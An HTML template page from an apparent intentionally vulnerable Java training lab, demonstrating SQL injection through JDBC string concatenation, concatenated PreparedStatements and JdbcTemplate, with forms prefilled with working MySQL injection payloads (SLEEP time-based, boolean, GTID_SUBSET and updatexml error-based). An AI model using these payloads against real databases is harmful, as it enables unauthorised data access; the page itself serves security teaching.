<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div th:replace="~{common/common::head}"></div>
<body>
<div class="layuimini-container">
    <div class="layuimini-main">
        <div class="layui-row layui-col-space15">

            <div class="layui-col-md12">
                <fieldset class="layui-elem-field layui-field-title">
                    <legend><a style="color: rgb(30 159 255)" class="sqli-jdbc">SQL注入攻击 - JDBC</a></legend>
                    <blockquote class="layui-elem-quote layui-quote-nm"
                                style="font-size: 15px;background-color: #a7deefab;box-shadow: 0 .125rem .25rem rgba(0, 0, 0, .075) !important">
                        <p>
                        <pre>  SQL注入是一种常见的Web应用程序安全漏洞，攻击者利用这种漏洞通过在输入字段中插入恶意SQL语句来执行非授权的数据库操作。这可能导致数据泄露、数据损坏或者完整性受损</pre>
                        <pre>  JDBC(Java Database Connectivity)是一套用于在Java程序中操作关系型数据库的API。它提供了一种标准的Java方法来连接和执行SQL查询，从而实现与数据库的交互</pre>
                        </p>
                    </blockquote>
                </fieldset>
            </div>

            <div class="layui-col-md12" style="margin-top: 10px">
                <div class="layui-row layui-col-space15">
                    <div class="layui-col-md6">
                        <h1 style="display: flex; justify-content: space-between; align-items: center;margin-top: 10px">
                            <span class="iconfont icon-bug">  漏洞场景：JDBC-原生SQL语句拼接</span>
                            <span class="iconfont icon-liuliang1 custom-flow-select"
                                  style="display: flex; align-items: center; gap: 5px;">
                                <form class="layui-form">
                                    <select lay-verify="" lay-filter="sqliFlowSelect">
                                        <option value="">流量分析</option>
                                        <option value="sqli_time">延时注入</option>
                                        <option value="sqli_boolean">布尔注入</option>
                                        <option value="sqli_error">报错注入</option>
                                        <option value="sqli_xpath">Xpath注入</option>
                                    </select>
                                </form>
                        </span>
<!--                            <span class="custom-flow-select" style="display: flex; align-items: center; gap: 5px;">-->
<!--                            <form class="layui-form">-->
<!--                                <select lay-verify="" lay-filter="payloadSelect">-->
<!--                                    <option value="">payload</option>-->
<!--                                    <option value="upload_html">HTML</option>-->
<!--                                    <option value="upload_svg">SVG</option>-->
<!--                                    <option value="upload_pdf">PDF</option>-->
<!--                                    <option value="upload_xml">XML</option>-->
<!--                                </select>-->
<!--                            </form>-->
<!--                        </span>-->
                        </h1>
                        <div class="layui-tab layui-tab-brief">
                            <ul class="layui-tab-title">
                                <li class="layui-this">增加-add</li>
                                <li>删除-delete</li>
                                <li>修改-update</li>
                                <li>查询-select</li>
                            </ul>
                            <div class="layui-tab-content">
                                <div class="layui-tab-item layui-show">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" value="test" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px" required
                                                       lay-verify="required" value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1" placeholder="密码" autocomplete="off"
                                                       class="layui-input" id="vul1-raw-joint-add-pass">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <select class="layui-form-select"
                                                        style="background-color: #5eb878;!important;"lay-filter="vul1-raw-joint-add-select">
                                                    <option value="">示例Payload</option>
                                                    <option value="1' AND (SELECT 4804 FROM (SELECT(SLEEP(5)))iBHa) AND '1'='1">延时注入</option>
                                                    <option value="1' AND ELT(5753=5754,6782) AND '1'='1">布尔盲注</option>
                                                    <option value="1' AND GTID_SUBSET(CONCAT(0x71706a7a71,(SELECT (ELT(7170=7170,1))),0x7171717071),7170) AND '1'='1">报错注入</option>
                                                    <option value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1">xpath注入</option>
                                                </select>
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul1-raw-joint-add" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>

                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul1-raw-joint-delete" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px;" required
                                                       lay-verify="required" placeholder="密码" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul1-raw-joint-update" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul1-raw-joint-select" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-col-md12">
                                    <div class="layui-card">
                                        <div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果</div>
                                        <div class="layui-card-body layui-text layadmin-text">
                                            <pre id="vul1-raw-joint-result" style="color: red;font-size: 15px;"></pre>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-code">  缺陷代码</span></h1>
                        <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">
                            <div class="code-editor" id="vul1RawJoint">
                            </div>
                        </div>
                    </div>

                </div>
            </div>
            <div class="layui-col-md12" style="margin-top: 10px">
                <div class="layui-row layui-col-space15">
                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-bug">  漏洞场景：JDBC-预编译拼接</span></h1>
                        <div class="layui-tab layui-tab-brief">
                            <ul class="layui-tab-title">
                                <li class="layui-this">增加</li>
                                <li>删除</li>
                                <li>修改</li>
                                <li>查询</li>
                            </ul>
                            <div class="layui-tab-content">
                                <div class="layui-tab-item layui-show">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" value="test" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px" required
                                                       lay-verify="required" value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1" placeholder="密码" autocomplete="off"
                                                       class="layui-input" id="vul2-prepareStatement-joint-add-pass">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <select class="layui-form-select"
                                                        style="background-color: #5eb878;!important;"lay-filter="vul2-prepareStatement-joint-add-select">
                                                    <option value="">示例Payload</option>
                                                    <option value="1' AND (SELECT 4804 FROM (SELECT(SLEEP(5)))iBHa) AND '1'='1">延时注入</option>
                                                    <option value="1' AND ELT(5753=5754,6782) AND '1'='1">布尔盲注</option>
                                                    <option value="1' AND GTID_SUBSET(CONCAT(0x71706a7a71,(SELECT (ELT(7170=7170,1))),0x7171717071),7170) AND '1'='1">报错注入</option>
                                                    <option value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1">xpath注入</option>
                                                </select>
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul2-prepareStatement-joint-add" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>

                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul2-prepareStatement-joint-delete" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px;" required
                                                       lay-verify="required" placeholder="密码" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul2-prepareStatement-joint-update" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul2-prepareStatement-joint-select" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-col-md12">
                                    <div class="layui-card">
                                        <div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果</div>
                                        <div class="layui-card-body layui-text layadmin-text">
                                            <pre id="vul2-prepareStatement-joint-result"
                                                 style="color: red;font-size: 15px;"></pre>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-code">  缺陷代码</span></h1>
                        <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">
                            <div class="code-editor" id="vul2prepareStatementJoint">
                            </div>
                        </div>
                    </div>

                </div>
            </div>
            <div class="layui-col-md12" style="margin-top: 10px">
                <div class="layui-row layui-col-space15">
                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-bug">  漏洞场景：JdbcTemplate-SQL语句拼接</span></h1>
                        <div class="layui-tab layui-tab-brief">
                            <ul class="layui-tab-title">
                                <li class="layui-this">增加</li>
                                <li>删除</li>
                                <li>修改</li>
                                <li>查询</li>
                            </ul>
                            <div class="layui-tab-content">
                                <div class="layui-tab-item layui-show">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" value="test" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px" required
                                                       lay-verify="required" value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1" placeholder="密码" autocomplete="off"
                                                       class="layui-input" id="vul3-JdbcTemplate-joint-add-pass">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <select class="layui-form-select"
                                                        style="background-color: #5eb878;!important;"lay-filter="vul3-JdbcTemplate-joint-add-select">
                                                    <option value="">示例Payload</option>
                                                    <option value="1' AND (SELECT 4804 FROM (SELECT(SLEEP(5)))iBHa) AND '1'='1">延时注入</option>
                                                    <option value="1' AND ELT(5753=5754,6782) AND '1'='1">布尔盲注</option>
                                                    <option value="1' AND GTID_SUBSET(CONCAT(0x71706a7a71,(SELECT (ELT(7170=7170,1))),0x7171717071),7170) AND '1'='1">报错注入</option>
                                                    <option value="1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1">xpath注入</option>
                                                </select>
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul3-JdbcTemplate-joint-add" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>

                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul3-JdbcTemplate-joint-delete" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="username" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户名" autocomplete="off"
                                                       class="layui-input">
                                                <input type="text" name="password" style="width: 150px;" required
                                                       lay-verify="required" placeholder="密码" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul3-JdbcTemplate-joint-update" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-tab-item">
                                    <blockquote class="layui-elem-quote main_btn">
                                        <form class="layui-form" style="display: flex; justify-content: space-between;">
                                            <div style="display: flex; align-items: center;">
                                                <input type="text" name="id" style="width: 150px;" required
                                                       lay-verify="required" placeholder="用户id" autocomplete="off"
                                                       class="layui-input">
                                            </div>
                                            <div style="display: flex; align-items: center;">
                                                <button class="layui-btn layui-btn-normal"
                                                        style="width: 100px; margin-left: 10px;"
                                                        lay-filter="vul3-JdbcTemplate-joint-select" lay-submit="">
                                                    <span class="iconfont icon-zhihang">Run</span>
                                                </button>
                                            </div>
                                        </form>
                                    </blockquote>
                                </div>
                                <div class="layui-col-md12">
                                    <div class="layui-card">
                                        <div class="layui-card-header"><i class="fa fa-warning icon-output"></i>测试结果</div>
                                        <div class="layui-card-body layui-text layadmin-text">
                                            <pre id="vul3-JdbcTemplate-joint-result"
                                                 style="color: red;font-size: 15px;"></pre>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="layui-col-md6">
                        <h1><span class="iconfont icon-code">  缺陷代码</span></h1>
                        <div class="m-auto div-shadow shadow p-3 mb-5 bg-white rounded">
                            <div class="code-editor" id="vul3JdbcTemplateJoint">
                            </div>
                        </div>
                    </div>

                </div>
            </div>
        </div>
    </div>
</div>
</div>
<div th:replace="~{common/common::script}"></div>

<script type="text/javascript">
    layui.use(['layer', 'miniTab', 'common','form'], function () {
        var $ = layui.jquery,
            layer = layui.layer,
            miniTab = layui.miniTab,
            form = layui.form,
            common = layui.common;
        miniTab.listen();
        layer.msg("SQL注入-JDBC")

        function triggerDownload(fileMap, selectedValue) {
            if (fileMap[selectedValue]) {
                let link = document.createElement("a");
                link.href = fileMap[selectedValue];
                link.download = selectedValue + ".pcapng";
                document.body.appendChild(link);
                link.click();
                document.body.removeChild(link);
            }
        }
        form.on('select(sqliFlowSelect)', function (data) {
            let selectedValue = data.value;
            let fileMap = {
                "upload_html": "/other/datapackage/sqli/sqli_time.pcapng",
                "upload_svg": "/other/datapackage/sqli/sqli_boolean.pcapng",
                "upload_pdf": "/other/datapackage/sqli/sqli_error.pcapng",
                "upload_xml": "/other/datapackage/sqli/sqli_xpath.pcapng"
            };
            triggerDownload(fileMap, selectedValue);
        });

        common.formListenFun("vul1-raw-joint-add", "add", "/sqli/jdbc/vul1", "vul1-raw-joint-result","get");
        common.formListenFun("vul1-raw-joint-delete", "delete", "/sqli/jdbc/vul1", "vul1-raw-joint-result","get");
        common.formListenFun("vul1-raw-joint-update", "update", "/sqli/jdbc/vul1", "vul1-raw-joint-result","get");
        common.formListenFun("vul1-raw-joint-select", "select", "/sqli/jdbc/vul1", "vul1-raw-joint-result","get");
        common.selectListenFun("vul1-raw-joint-add-select", "vul1-raw-joint-add-pass");

        common.formListenFun("vul2-prepareStatement-joint-add", "add", "/sqli/jdbc/vul2", "vul2-prepareStatement-joint-result","get");
        common.formListenFun("vul2-prepareStatement-joint-delete", "delete", "/sqli/jdbc/vul2", "vul2-prepareStatement-joint-result","get");
        common.formListenFun("vul2-prepareStatement-joint-update", "update", "/sqli/jdbc/vul2", "vul2-prepareStatement-joint-result","get");
        common.formListenFun("vul2-prepareStatement-joint-select", "select", "/sqli/jdbc/vul2", "vul2-prepareStatement-joint-result","get");
        common.selectListenFun("vul2-prepareStatement-joint-add-select", "vul2-prepareStatement-joint-add-pass");

        common.formListenFun("vul3-JdbcTemplate-joint-add", "add", "/sqli/jdbc/vul3", "vul3-JdbcTemplate-joint-result","get");
        common.formListenFun("vul3-JdbcTemplate-joint-delete", "delete", "/sqli/jdbc/vul3", "vul3-JdbcTemplate-joint-result","get");
        common.formListenFun("vul3-JdbcTemplate-joint-update", "update", "/sqli/jdbc/vul3", "vul3-JdbcTemplate-joint-result","get");
        common.formListenFun("vul3-JdbcTemplate-joint-select", "select", "/sqli/jdbc/vul3", "vul3-JdbcTemplate-joint-result","get");
        common.selectListenFun("vul3-JdbcTemplate-joint-add-select", "vul3-JdbcTemplate-joint-add-pass");

        var cmConfig = {
            lineNumbers: true,
            lineWrapping: false,
            indentUnit: 4,
            indentWithTabs: true,
            theme: 'juejin',
            styleActiveLine: {nonEmpty: true},
            fontSize: "18px",
            mode: "text/x-java"
        };


        CodeMirror(document.getElementById("vul1RawJoint"), Object.assign({}, cmConfig, {
            value: vul1RawJoint
        }));
        CodeMirror(document.getElementById("vul2prepareStatementJoint"), Object.assign({}, cmConfig, {
            value: vul2prepareStatementJoint
        }));
        CodeMirror(document.getElementById("vul3JdbcTemplateJoint"), Object.assign({}, cmConfig, {
            value: vul3JdbcTemplateJoint
        }));

    });

</script>

</body>
</html>
